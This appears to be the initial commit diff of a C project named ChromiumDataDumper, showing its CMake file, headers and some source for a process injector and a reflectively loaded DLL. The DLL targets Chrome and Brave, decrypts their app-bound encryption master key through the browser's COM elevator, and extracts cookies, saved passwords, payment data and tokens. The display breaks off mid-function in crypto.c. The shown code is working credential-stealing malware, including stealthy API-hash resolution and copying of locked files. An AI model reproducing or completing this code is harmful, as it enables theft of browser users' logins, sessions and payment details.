initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
Executable
+84
@@ -0,0 +1,84 @@
|
||||
cmake_minimum_required(VERSION 3.31)
|
||||
project(ChromiumDataDumper LANGUAGES C CXX)
|
||||
|
||||
set(CMAKE_C_STANDARD 17)
|
||||
set(CMAKE_C_STANDARD_REQUIRED ON)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 23)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
# decryptor
|
||||
set(CHROMIUM_DECRYPTOR_HEADERS
|
||||
decryptor/include/types.h
|
||||
decryptor/include/buffer.h
|
||||
decryptor/include/utils.h
|
||||
decryptor/include/crypto.h
|
||||
decryptor/include/browser.h
|
||||
decryptor/include/profile.h
|
||||
decryptor/include/handle_duplicator.h
|
||||
decryptor/include/extractor.h
|
||||
decryptor/include/orchestrator.h
|
||||
|
||||
decryptor/include/reflective_loader.h
|
||||
)
|
||||
|
||||
set(CHROMIUM_DECRYPTOR_SOURCES
|
||||
decryptor/src/dllmain.c
|
||||
decryptor/src/buffer.c
|
||||
decryptor/src/utils.c
|
||||
decryptor/src/crypto.c
|
||||
decryptor/src/browser.c
|
||||
decryptor/src/profile.c
|
||||
decryptor/src/handle_duplicator.c
|
||||
decryptor/src/extractor.c
|
||||
decryptor/src/orchestrator.c
|
||||
|
||||
decryptor/src/reflective_loader.c
|
||||
)
|
||||
|
||||
find_package(EASTL CONFIG REQUIRED)
|
||||
|
||||
add_library(ChromiumDecryptor SHARED ${CHROMIUM_DECRYPTOR_HEADERS} ${CHROMIUM_DECRYPTOR_SOURCES})
|
||||
|
||||
target_include_directories(ChromiumDecryptor PRIVATE
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/decryptor/include
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/third_party/sqlite
|
||||
)
|
||||
|
||||
add_library(sqlite3 STATIC
|
||||
third_party/sqlite/sqlite3.h
|
||||
third_party/sqlite/sqlite3.c
|
||||
)
|
||||
|
||||
target_link_libraries(ChromiumDecryptor PRIVATE sqlite3 EASTL)
|
||||
|
||||
# injector
|
||||
set(CHROMIUM_INJECTOR_HEADERS
|
||||
injector/include/types.h
|
||||
injector/include/utils.h
|
||||
injector/include/browser_resolver.h
|
||||
injector/include/target_process.h
|
||||
injector/include/pipe_communicator.h
|
||||
injector/include/injection_manager.h
|
||||
)
|
||||
|
||||
set(CHROMIUM_INJECTOR_SOURCES
|
||||
injector/src/main.c
|
||||
injector/src/utils.c
|
||||
injector/src/browser_resolver.c
|
||||
injector/src/target_process.c
|
||||
injector/src/pipe_communicator.c
|
||||
injector/src/injection_manager.c
|
||||
)
|
||||
|
||||
add_executable(ChromiumInjector ${CHROMIUM_INJECTOR_HEADERS} ${CHROMIUM_INJECTOR_SOURCES})
|
||||
|
||||
target_include_directories(ChromiumInjector PRIVATE
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/injector/include
|
||||
)
|
||||
|
||||
if (MSVC)
|
||||
add_compile_options(/wd4471)
|
||||
elseif (CMAKE_CXX_COMPILER_ID STREQUAL "Clang")
|
||||
add_compile_options(-Wno-enum-forward-declaration)
|
||||
endif()
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
#ifndef BROWSER_H
|
||||
#define BROWSER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool browser_get_config_for_process(BrowserConfig* config);
|
||||
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len);
|
||||
|
||||
#endif // BROWSER_H
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
#ifndef BUFFER_H
|
||||
#define BUFFER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
ByteBuffer* buffer_create(size_t initial_capacity);
|
||||
void buffer_destroy(ByteBuffer* buf);
|
||||
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len);
|
||||
bool buffer_resize(ByteBuffer* buf, size_t new_size);
|
||||
void buffer_clear(ByteBuffer* buf);
|
||||
|
||||
StringArray* string_array_create(size_t initial_capacity);
|
||||
void string_array_destroy(StringArray* arr);
|
||||
bool string_array_add(StringArray* arr, const char* str);
|
||||
bool string_array_contains(StringArray* arr, const char* str);
|
||||
|
||||
ProfileList* profile_list_create(size_t initial_capacity);
|
||||
void profile_list_destroy(ProfileList* list);
|
||||
bool profile_list_add(ProfileList* list, const wchar_t* path);
|
||||
|
||||
#endif // BUFFER_H
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
#ifndef CRYPTO_H
|
||||
#define CRYPTO_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len);
|
||||
|
||||
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path);
|
||||
|
||||
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len);
|
||||
|
||||
#endif // CRYPTO_H
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
#ifndef EXTRACTOR_H
|
||||
#define EXTRACTOR_H
|
||||
|
||||
#include "types.h"
|
||||
#include "sqlite3.h"
|
||||
|
||||
typedef struct {
|
||||
const wchar_t* db_path;
|
||||
const char* output_name;
|
||||
const char* sql_query;
|
||||
} ExtractionConfig;
|
||||
|
||||
typedef struct {
|
||||
const wchar_t* profile_path;
|
||||
const wchar_t* output_base;
|
||||
const char* browser_name;
|
||||
const uint8_t* aes_key;
|
||||
size_t key_len;
|
||||
} ExtractionContext;
|
||||
|
||||
StringArray* extract_cookies(const ExtractionContext* ctx);
|
||||
StringArray* extract_passwords(const ExtractionContext* ctx);
|
||||
StringArray* extract_payments(const ExtractionContext* ctx);
|
||||
StringArray* extract_tokens(const ExtractionContext* ctx);
|
||||
|
||||
bool write_json_array(const wchar_t* file_path, StringArray* entries);
|
||||
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries);
|
||||
|
||||
void cleanup_temp_files(void);
|
||||
|
||||
#endif // EXTRACTOR_H
|
||||
@@ -0,0 +1,9 @@
|
||||
#ifndef HANDLE_DUPLICATOR_H
|
||||
#define HANDLE_DUPLICATOR_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path);
|
||||
|
||||
#endif // HANDLE_DUPLICATOR_H
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
#ifndef ORCHESTRATOR_H
|
||||
#define ORCHESTRATOR_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
typedef struct {
|
||||
wchar_t pipe_name[256];
|
||||
wchar_t output_path[MAX_PATH_LEN];
|
||||
bool extract_fingerprint;
|
||||
HANDLE pipe_handle;
|
||||
} OrchestratorConfig;
|
||||
|
||||
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name);
|
||||
bool orchestrator_run(OrchestratorConfig* config);
|
||||
void orchestrator_cleanup(OrchestratorConfig* config);
|
||||
|
||||
#endif // ORCHESTRATOR_H
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
#ifndef PROFILE_H
|
||||
#define PROFILE_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
ProfileList* profile_find_all(const wchar_t* user_data_root);
|
||||
|
||||
#endif // PROFILE_H
|
||||
+210
@@ -0,0 +1,210 @@
|
||||
|
||||
#ifndef REFLECTIVE_LOADER_H
|
||||
#define REFLECTIVE_LOADER_H
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#if defined(_M_X64) || defined(_M_ARM64)
|
||||
#define ENVIRONMENT64
|
||||
#else
|
||||
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
|
||||
#endif
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#define DLLEXPORT __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXPORT
|
||||
#endif
|
||||
|
||||
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
|
||||
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
|
||||
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
typedef struct _UNICODE_STRING_LDR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
|
||||
|
||||
typedef struct _PEB_LDR_DATA_LDR
|
||||
{
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
HANDLE SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID EntryInProgress;
|
||||
BOOLEAN ShutdownInProgress;
|
||||
HANDLE ShutdownThreadId;
|
||||
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
|
||||
{
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING_LDR FullDllName;
|
||||
UNICODE_STRING_LDR BaseDllName;
|
||||
ULONG Flags;
|
||||
USHORT LoadCount;
|
||||
USHORT TlsIndex;
|
||||
union
|
||||
{
|
||||
LIST_ENTRY HashLinks;
|
||||
struct
|
||||
{
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
PVOID EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
|
||||
|
||||
typedef struct _PEB_LDR
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN IsPackagedProcess : 1;
|
||||
BOOLEAN IsAppContainer : 1;
|
||||
BOOLEAN IsProtectedProcessLight : 1;
|
||||
BOOLEAN IsLongPathAware : 1;
|
||||
};
|
||||
};
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA_LDR Ldr;
|
||||
PVOID ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PVOID FastPebLock;
|
||||
PVOID AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ProcessPreviouslyThrottled : 1;
|
||||
ULONG ProcessCurrentlyThrottled : 1;
|
||||
ULONG ProcessImagesHotPatched : 1;
|
||||
ULONG ReservedBits0 : 24;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
};
|
||||
ULONG SystemReserved;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PVOID ApiSetMap;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[2];
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID SharedData;
|
||||
PVOID *ReadOnlyStaticServerData;
|
||||
PVOID AnsiCodePageData;
|
||||
PVOID OemCodePageData;
|
||||
PVOID UnicodeCaseTableData;
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
SIZE_T HeapSegmentReserve;
|
||||
SIZE_T HeapSegmentCommit;
|
||||
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID *ProcessHeaps;
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
ULONG GdiDCAttributeList;
|
||||
PVOID LoaderLock;
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
USHORT OSBuildNumber;
|
||||
USHORT OSCSDVersion;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubsystem;
|
||||
ULONG ImageSubsystemMajorVersion;
|
||||
ULONG ImageSubsystemMinorVersion;
|
||||
ULONG_PTR ActiveProcessAffinityMask;
|
||||
ULONG GdiHandleBuffer[60];
|
||||
PVOID PostProcessInitRoutine;
|
||||
PVOID TlsExpansionBitmap;
|
||||
ULONG TlsExpansionBitmapBits[32];
|
||||
ULONG SessionId;
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
PVOID pShimData;
|
||||
PVOID AppCompatInfo;
|
||||
UNICODE_STRING_LDR CSDVersion;
|
||||
PVOID ActivationContextData;
|
||||
PVOID ProcessAssemblyStorageMap;
|
||||
PVOID SystemDefaultActivationContextData;
|
||||
PVOID SystemAssemblyStorageMap;
|
||||
SIZE_T MinimumStackCommit;
|
||||
PVOID SparePointers[2];
|
||||
PVOID PatchLoaderData;
|
||||
PVOID ChpeV2ProcessInfo;
|
||||
ULONG AppModelFeatureState;
|
||||
ULONG SpareUlongs[2];
|
||||
USHORT ActiveConsoleId;
|
||||
USHORT AppCompatVersionInfo;
|
||||
PVOID ExtendedProcessInfo;
|
||||
} PEB_LDR, *PPEB_LDR;
|
||||
|
||||
typedef struct _IMAGE_RELOC_ENTRY
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
|
||||
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
|
||||
|
||||
#endif
|
||||
Executable
+55
@@ -0,0 +1,55 @@
|
||||
#ifndef TYPES_H
|
||||
#define TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <Windows.h>
|
||||
|
||||
#define MAX_PATH_LEN 512
|
||||
#define MAX_QUERY_LEN 1024
|
||||
#define MAX_JSON_LEN 4096
|
||||
#define MAX_NETSCAPE_LEN 4096
|
||||
#define COOKIE_PLAINTEXT_HEADER_SIZE 32
|
||||
#define KEY_SIZE 32
|
||||
#define GCM_IV_LENGTH 12
|
||||
#define GCM_TAG_LENGTH 16
|
||||
|
||||
typedef enum {
|
||||
PROTECTION_NONE = 0,
|
||||
PROTECTION_PATH_VALIDATION_OLD = 1,
|
||||
PROTECTION_PATH_VALIDATION = 2,
|
||||
PROTECTION_MAX = 3
|
||||
} ProtectionLevel;
|
||||
|
||||
typedef struct {
|
||||
char name[64];
|
||||
wchar_t process_name[64];
|
||||
CLSID clsid;
|
||||
IID iid;
|
||||
wchar_t user_data_path[MAX_PATH_LEN];
|
||||
} BrowserConfig;
|
||||
|
||||
typedef struct {
|
||||
uint8_t* data;
|
||||
size_t size;
|
||||
size_t capacity;
|
||||
} ByteBuffer;
|
||||
|
||||
typedef struct {
|
||||
char** items;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} StringArray;
|
||||
|
||||
typedef struct {
|
||||
wchar_t path[MAX_PATH_LEN];
|
||||
bool is_valid;
|
||||
} ProfilePath;
|
||||
|
||||
typedef struct {
|
||||
ProfilePath* paths;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} ProfileList;
|
||||
|
||||
#endif // TYPES_H
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool get_local_appdata_path(wchar_t* path, size_t len);
|
||||
ByteBuffer* base64_decode(const char* input);
|
||||
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len);
|
||||
char* escape_json_string(const char* str);
|
||||
bool read_file_content(const wchar_t* path, char** content, size_t* size);
|
||||
bool write_file_content(const wchar_t* path, const char* content, size_t size);
|
||||
|
||||
#endif // UTILS_H
|
||||
Executable
+68
@@ -0,0 +1,68 @@
|
||||
#include "browser.h"
|
||||
#include "utils.h"
|
||||
#include <Windows.h>
|
||||
#include <ctype.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static const CLSID CLSID_CHROME = { 0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B} };
|
||||
static const IID IID_CHROME = { 0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8} };
|
||||
|
||||
static const CLSID CLSID_BRAVE = { 0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B} };
|
||||
static const IID IID_BRAVE = { 0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9} };
|
||||
|
||||
static void init_chrome_config(BrowserConfig* cfg) {
|
||||
strcpy_s(cfg->name, sizeof(cfg->name), "Chrome");
|
||||
wcscpy_s(cfg->process_name, 64, L"chrome.exe");
|
||||
cfg->clsid = CLSID_CHROME;
|
||||
cfg->iid = IID_CHROME;
|
||||
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN, L"Google\\Chrome\\User Data");
|
||||
}
|
||||
|
||||
static void init_brave_config(BrowserConfig* cfg) {
|
||||
strcpy_s(cfg->name, sizeof(cfg->name), "Brave");
|
||||
wcscpy_s(cfg->process_name, 64, L"brave.exe");
|
||||
cfg->clsid = CLSID_BRAVE;
|
||||
cfg->iid = IID_BRAVE;
|
||||
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN,
|
||||
L"BraveSoftware\\Brave-Browser\\User Data");
|
||||
}
|
||||
|
||||
bool browser_get_config_for_process(BrowserConfig* config) {
|
||||
if (!config) return false;
|
||||
|
||||
char exe_path[MAX_PATH];
|
||||
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
|
||||
|
||||
char* filename = strrchr(exe_path, '\\');
|
||||
if (!filename) filename = exe_path;
|
||||
else filename++;
|
||||
|
||||
for (char* p = filename; *p; p++) {
|
||||
*p = (char)tolower(*p);
|
||||
}
|
||||
|
||||
if (strcmp(filename, "chrome.exe") == 0) {
|
||||
init_chrome_config(config);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (strcmp(filename, "brave.exe") == 0) {
|
||||
init_brave_config(config);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len) {
|
||||
if (!config || !path) return false;
|
||||
|
||||
wchar_t appdata[MAX_PATH_LEN];
|
||||
if (!get_local_appdata_path(appdata, MAX_PATH_LEN)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
swprintf_s(path, len, L"%s\\%s", appdata, config->user_data_path);
|
||||
return true;
|
||||
}
|
||||
Executable
+148
@@ -0,0 +1,148 @@
|
||||
#include "buffer.h"
|
||||
#include <string.h>
|
||||
|
||||
ByteBuffer* buffer_create(size_t initial_capacity) {
|
||||
ByteBuffer* buf = malloc(sizeof(ByteBuffer));
|
||||
if (!buf) return NULL;
|
||||
|
||||
buf->data = malloc(initial_capacity);
|
||||
if (!buf->data) {
|
||||
free(buf);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
buf->size = 0;
|
||||
buf->capacity = initial_capacity;
|
||||
return buf;
|
||||
}
|
||||
|
||||
void buffer_destroy(ByteBuffer* buf) {
|
||||
if (!buf) return;
|
||||
free(buf->data);
|
||||
free(buf);
|
||||
}
|
||||
|
||||
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len) {
|
||||
if (!buf || !data) return false;
|
||||
|
||||
if (buf->size + len > buf->capacity) {
|
||||
size_t new_cap = (buf->size + len) * 2;
|
||||
uint8_t* new_data = realloc(buf->data, new_cap);
|
||||
if (!new_data) return false;
|
||||
buf->data = new_data;
|
||||
buf->capacity = new_cap;
|
||||
}
|
||||
|
||||
memcpy(buf->data + buf->size, data, len);
|
||||
buf->size += len;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool buffer_resize(ByteBuffer* buf, size_t new_size) {
|
||||
if (!buf) return false;
|
||||
|
||||
if (new_size > buf->capacity) {
|
||||
uint8_t* new_data = realloc(buf->data, new_size);
|
||||
if (!new_data) return false;
|
||||
buf->data = new_data;
|
||||
buf->capacity = new_size;
|
||||
}
|
||||
|
||||
buf->size = new_size;
|
||||
return true;
|
||||
}
|
||||
|
||||
void buffer_clear(ByteBuffer* buf) {
|
||||
if (buf) buf->size = 0;
|
||||
}
|
||||
|
||||
StringArray* string_array_create(size_t initial_capacity) {
|
||||
StringArray* arr = malloc(sizeof(StringArray));
|
||||
if (!arr) return NULL;
|
||||
|
||||
arr->items = malloc(sizeof(char*) * initial_capacity);
|
||||
if (!arr->items) {
|
||||
free(arr);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
arr->count = 0;
|
||||
arr->capacity = initial_capacity;
|
||||
return arr;
|
||||
}
|
||||
|
||||
void string_array_destroy(StringArray* arr) {
|
||||
if (!arr) return;
|
||||
|
||||
for (size_t i = 0; i < arr->count; i++) {
|
||||
free(arr->items[i]);
|
||||
}
|
||||
free(arr->items);
|
||||
free(arr);
|
||||
}
|
||||
|
||||
bool string_array_add(StringArray* arr, const char* str) {
|
||||
if (!arr || !str) return false;
|
||||
|
||||
if (arr->count >= arr->capacity) {
|
||||
size_t new_cap = arr->capacity * 2;
|
||||
char** new_items = realloc(arr->items, sizeof(char*) * new_cap);
|
||||
if (!new_items) return false;
|
||||
arr->items = new_items;
|
||||
arr->capacity = new_cap;
|
||||
}
|
||||
|
||||
arr->items[arr->count] = _strdup(str);
|
||||
if (!arr->items[arr->count]) return false;
|
||||
arr->count++;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool string_array_contains(StringArray* arr, const char* str) {
|
||||
if (!arr || !str) return false;
|
||||
|
||||
for (size_t i = 0; i < arr->count; i++) {
|
||||
if (strcmp(arr->items[i], str) == 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
ProfileList* profile_list_create(size_t initial_capacity) {
|
||||
ProfileList* list = malloc(sizeof(ProfileList));
|
||||
if (!list) return NULL;
|
||||
|
||||
list->paths = malloc(sizeof(ProfilePath) * initial_capacity);
|
||||
if (!list->paths) {
|
||||
free(list);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
list->count = 0;
|
||||
list->capacity = initial_capacity;
|
||||
return list;
|
||||
}
|
||||
|
||||
void profile_list_destroy(ProfileList* list) {
|
||||
if (!list) return;
|
||||
free(list->paths);
|
||||
free(list);
|
||||
}
|
||||
|
||||
bool profile_list_add(ProfileList* list, const wchar_t* path) {
|
||||
if (!list || !path) return false;
|
||||
|
||||
if (list->count >= list->capacity) {
|
||||
size_t new_cap = list->capacity * 2;
|
||||
ProfilePath* new_paths = realloc(list->paths, sizeof(ProfilePath) * new_cap);
|
||||
if (!new_paths) return false;
|
||||
list->paths = new_paths;
|
||||
list->capacity = new_cap;
|
||||
}
|
||||
|
||||
wcsncpy_s(list->paths[list->count].path, MAX_PATH_LEN, path, _TRUNCATE);
|
||||
list->paths[list->count].is_valid = true;
|
||||
list->count++;
|
||||
return true;
|
||||
}
|
||||
Executable
+206
@@ -0,0 +1,206 @@
|
||||
#include "crypto.h"
|
||||
#include "utils.h"
|
||||
#include "buffer.h"
|
||||
#include <Windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
static const uint8_t KEY_PREFIX[] = { 'A', 'P', 'P', 'B' };
|
||||
static const char V20_PREFIX[] = "v20";
|
||||
static const size_t V20_PREFIX_LEN = 3;
|
||||
|
||||
typedef struct IOriginalBaseElevator IOriginalBaseElevator;
|
||||
|
||||
typedef struct IOriginalBaseElevatorVtbl {
|
||||
// IUnknown methods
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(IOriginalBaseElevator* This, REFIID riid, void** ppvObject);
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(IOriginalBaseElevator* This);
|
||||
ULONG(STDMETHODCALLTYPE* Release)(IOriginalBaseElevator* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* RunRecoveryCRXElevated)(IOriginalBaseElevator* This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, PULONG_PTR);
|
||||
HRESULT(STDMETHODCALLTYPE* EncryptData)(IOriginalBaseElevator* This, ProtectionLevel, const BSTR, BSTR*, DWORD*);
|
||||
HRESULT(STDMETHODCALLTYPE* DecryptData)(IOriginalBaseElevator* This, const BSTR, BSTR*, DWORD*);
|
||||
} IOriginalBaseElevatorVtbl;
|
||||
|
||||
struct IOriginalBaseElevator {
|
||||
CONST_VTBL struct IOriginalBaseElevatorVtbl* lpVtbl;
|
||||
};
|
||||
|
||||
// A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C
|
||||
static const IID IID_IOriginalBaseElevator = { 0xA949CB4E, 0xC4F9, 0x44C4, { 0xB2, 0x13, 0x6B, 0xF8, 0xAA, 0x9A, 0xC6, 0x9C } };
|
||||
|
||||
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len) {
|
||||
if (!key || !blob || key_len != KEY_SIZE) return NULL;
|
||||
|
||||
const size_t overhead = V20_PREFIX_LEN + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
||||
if (blob_len < overhead || memcmp(blob, V20_PREFIX, V20_PREFIX_LEN) != 0) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BCRYPT_ALG_HANDLE alg = NULL;
|
||||
if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(&alg, BCRYPT_AES_ALGORITHM, NULL, 0))) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BCryptSetProperty(alg, BCRYPT_CHAINING_MODE,
|
||||
(PUCHAR)BCRYPT_CHAIN_MODE_GCM,
|
||||
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
||||
|
||||
BCRYPT_KEY_HANDLE hkey = NULL;
|
||||
NTSTATUS status = BCryptGenerateSymmetricKey(alg, &hkey, NULL, 0,
|
||||
(PUCHAR)key, (ULONG)key_len, 0);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
BCryptCloseAlgorithmProvider(alg, 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const uint8_t* iv = blob + V20_PREFIX_LEN;
|
||||
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
||||
const uint8_t* tag = blob + blob_len - GCM_TAG_LENGTH;
|
||||
ULONG ct_len = (ULONG)(blob_len - overhead);
|
||||
|
||||
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
|
||||
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
|
||||
auth_info.pbNonce = (PUCHAR)iv;
|
||||
auth_info.cbNonce = GCM_IV_LENGTH;
|
||||
auth_info.pbTag = (PUCHAR)tag;
|
||||
auth_info.cbTag = GCM_TAG_LENGTH;
|
||||
|
||||
ByteBuffer* plain = buffer_create(ct_len > 0 ? ct_len : 1);
|
||||
if (!plain) {
|
||||
BCryptDestroyKey(hkey);
|
||||
BCryptCloseAlgorithmProvider(alg, 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ULONG out_len = 0;
|
||||
status = BCryptDecrypt(hkey, (PUCHAR)ct, ct_len, &auth_info,
|
||||
NULL, 0, plain->data, (ULONG)plain->capacity, &out_len, 0);
